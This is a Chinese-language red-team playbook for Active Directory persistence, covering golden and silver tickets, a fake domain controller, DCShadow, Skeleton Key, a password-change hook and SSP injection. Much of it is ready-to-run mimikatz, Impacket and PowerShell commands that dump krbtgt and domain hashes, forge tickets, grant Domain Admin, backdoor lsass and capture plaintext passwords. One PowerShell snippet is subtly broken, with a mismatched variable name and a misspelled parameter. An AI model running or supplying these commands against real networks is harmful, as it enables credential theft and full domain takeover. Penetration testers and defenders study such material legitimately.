1. 黄金票据传递攻击

(1)原理

黄金票据传递攻击出现在 kerberos 认证的 AS-REP 阶段,因为我们请求 KDC 后得到返回的 TGT 中有一个authorization-data 是由 krbtgt 的 hash 加密的,这个字段中存放着代表用户身份的 PAC;

我们只要拥有 krbtgt 的 hash,就能够伪造一张高权限的 PAC,并将其封装进 TGT 里面,然后拿着这张高权限的 TGT 就可以去请求任意服务的 ST

这张票据叫做黄金票据。

(2)需要的信息

完整域名
ipconfig /all 或 net time /domain

域的 sid
Get-ADDomain 或 . ./PowerView.ps1 -- Get-DomainSID

要伪造的域用户
一般是 administrator

krbtgt hash
mimikatz.exe "privilege::debug" "log" "sekurlsa::krbtgt" "exit"
mimikatz.exe "privilege::debug" "log" "lsadump::dcsync /domain:redteam.red /user:krbtgt" "exit"
mimikatz.exe "privilege::debug" "log" "lsadump::lsa /patch"

(3)制作黄金票据

mimikatz.exe "kerberos::golden /user:administrator /domain:redteam.red /sid:S-1-5-21-1359007890-1682372173-1631803504 /krbtgt:4a67f14d5cc4fa22618c8b609e832db6 /ticket:administrator.kirbi" "exit"

注意 sid 在命令里的变化

(4)导入黄金票据

mimikatz.exe "kerberos::ptt administrator.kirbi"

CIFS 请求域控
dir \\emotionswalker_DC\c$

LDAP 导出 All Hash
mimikatz.exe "privilege::debug" "log" "lsadump::dcsync /domain:redteam.red /all /csv" "exit"

2. 白银票据传递攻击

(1)原理

kerberos 认证的 TGS-REP 阶段,KDC 收到客户端发来的 TGT 后返回一张对指定服务的 ST,这个 ST 中同样有一个加密部分 authorization-data 是由对应服务的 Hash 加密的,里面存放着代表用户身份的 PAC

所以我们只要有对应服务的一个 Hash 密钥,拿这个伪造一张高权限的 PAC,封装到 ST 里面,再拿着这个 ST 去请求我们的目标服务,就能实现一个高权限访问了

这张票据叫做白银票据,白银票据相对黄金票据更加隐蔽,因为他是直接拿到 ST,没有像黄金票据一样要去和 KDC 交互的过程,就不会在 KDC 留下日志

(2)需要的信息

完整域名

域的 sid 值

要伪造的域用户

目标服务的密钥

(3)制作白银票据

以 krbtgt hash 对 cifs 服务请求域控
mimikatz.exe "kerberos::golden /domain:redteam.red /sid:S-1-5-21-1359007890-1682372173-1631803504 /target:emotionswalker_DC.redteam.red /service:cifs /rc4:ae4c0d5fb959fda8f4cb1d14a8376af4 /user:<伪造的用户名(随便)> /ptt" "exit"

以 krbtgt hash 对 ldap 服务请求域控
mimikatz.exe "kerberos::golden /domain:redteam.red /sid:S-1-5-21-1359007890-1682372173-1631803504 /target:emotionswalker_DC.redteam.red /service:ldap /rc4:ae4c0d5fb959fda8f4cb1d14a8376af4 /user:<伪造的用户名(随便)> /ptt" "exit"

3. 域控伪造

(1)原理

域内某个机器账户的 UserAccountControl 属性为 8192 时,会被活动目录解释为域控

(2)手法

先创建一个新的机器账户
python3 addcomputer.py -computer-name 'god' -computer-pass 'root' -dc-ip 10.10.10.10 'redteam.red/hack:Admin12345' -method SAMR -debug

使用域管理员权限的 Powershell 修改机器账户 god$ 的 UserAccountControl 属性为 8192
$ADCompuer = Get-ADComputer -Identify god
Set-ADObject -Identify $ADComputer -Replace @{UserAccountControl=8192}

导出所有 Hash
python3 secretsdump.py redteam/god$ @10.10.10.10 -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 -just-dc-user krbtgt

4. DCShadow 攻击

(1)原理

活动目录数据库通过一个 nTDSDSA 对象标识一台主机,这是域控的特殊对象
NTDS 在 AD 中的位置如图

添加这个对象用到域管或 EA 组权限通过 RPC 协议在 AD 中增加 nTDSDSA 对象
这也是为什么后面要用黄金票据打组合拳,而不是白银票据,RPC 协议是需要与 KDC 交互的

我们的目的是伪造一个域控,那这个域控必须合法,满足以下两个条件
① 拥有有效的身份认证凭据,被其他服务器信任 —— 一个作为域用户的本地管理员就 ok 了
② 支持身份认证,能够被其他域控/机器正常连接
手法就是注入两个 SPN —— 目录复制服务(DRS)、全局编录服务(GC)

强制触发域复制:
KCC 组件每隔 15min 触发一次域复制,而要强制触发,Windows 域服务自带的 repadmin 通过调用 DRSReplicaAdd 函数能够进行,我们用的 mimikatz 的 DCShadow 模块也正是通过此来操作的

(2)攻击流程

① 通过 DCShadow 注册 SPN,注册一个伪造的域控,并且让他被认可,参与域复制
② 在伪造的域控上更改 AD 数据,将我们指定的用户添加为域管理员
③ 强制触发域复制,把新增的域管理员这一属性同步到正常域控
④ 注销 DCShadow

简而言之,通过 nTDSDSA 对象+注册 SPN 去注册一个假的域控 DCShadow,把一个本地管理员权限的域用户加入到域管理员中,再通过域复制同步上去,之后注销 DCShadow 即完成了整个轮回

(3)黄金票据 + DCShadow 攻击

启用 SYSTEM 权限的 mimikatz
mimikatz.exe "!+" "!processtoken"

已知我们的一个本地管理员权限的域用户 redteam\emotionswalker

使用 mimikatz 将该用户的 primarygroupid 更改为 512,将用户添加到 Domain Admins 组
开启一个监听等待域同步的触发:
lsadump::dcshadow /object:CN=emotionswalker,CN=Users,DC=redteam,DC=red /attribute:primarygroupid /value:512

接下来的 mimikatz 实际上是需要一个域管权限的终端,可以使用黄金票据
kerberos::golden /user:administrator /domain:redteam.red /sid:S-1-5-21-1359007890-1682372173-1631803504 /krbtgt:4a67f14d5cc4fa22618c8b609e832db6 /ptt

强制触发域控同步数据
lsadump::dcshadow /push

(4)SID + DCShadow 攻击

直接给目标用户一个域的 SID
mimikatz.exe "lsadump::dcshadow /object:CN=emotionswalker,CN=Users,DC=redteam,DC=com /attribute:sidhistory /value:S-1-5-21-36243498-3501757220-611466543-500"

依旧是强制触发域控同步数据
lsadump::dcshadow /push

(5)攻击利用成功

可以查询一下域管用户是否多了 emotionswalker 呢
net group "domain admins" /domain

5. Skeleton Key 万能密码

(1)概括

通过 mimikatz 注入域控的 lsass.exe 进程
缺点是关机失效,然而域控很少关机的

(2)适用版本

Windows Server 2003 - Windows Server 2012

(3)利用方式

mimikatz.exe "privilege::debug" "misc::skeleton"

会添加一个访问域控的默认密码:mimikatz

(4)建立 IPC 或 RDP 连接均可

net use \\emotionswalker_DC\c$ "mimikatz" /user:redteam\administrator
dir \\emotionswalker_DC\c$

6. Hook PasswordChangeNotify

(1)概括

基于一个 Windows 的密码过滤 dll,在 dll 中通过 hook 函数反射注入 lsass.exe 进程(这种方式不会挂载进程,隐蔽性很强),当用户更改密码时能够拦截用户输入的明文密码并保存在本地

我们将这个注入应用于域控中,管理员修改密码时会输入新的明文密码,且密码符合要求时,LSA 会调用 rassfm.dll 中的 PasswordChangeNotify,我们就把他 Hook 住

(2)黑 dll 的准备

项目:https://github.com/clymb3r/Misc-Windows-Hacking

我们可以自行更改这个工具的源码来更改新密码的存储位置

默认的 Temp 目录当然可以进行,但如果域控机器开放了共享目录 SYSVOL 也是一个不错的选择

(3)dll 落地+PowerShell 利用

. .\Invoke-ReflectivePEInjection.ps1
invoke-ReflectivePEInjection -PEPath .\HookPasswordChange.dll -Procname lsass

7. SSP 注入攻击

(1)概括

SSP 注入攻击对全版本基本做到一个通杀,它可以通过内存注入或注册表添加,即使目标机重启也无济于事

(2)注入手法

mimikatz 注入内存——域控重启失效,但不留二进制文件
mimikatz.exe "privilege::debug" "misc::memssp" "exit"

注册表添加 SSP——域控每次重启都会被加载
copy mimilib.dll C:\Windows\System32\
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "mimilib.dll" /f

(3)文件位置

C:\Windows\System32\mimilsa.log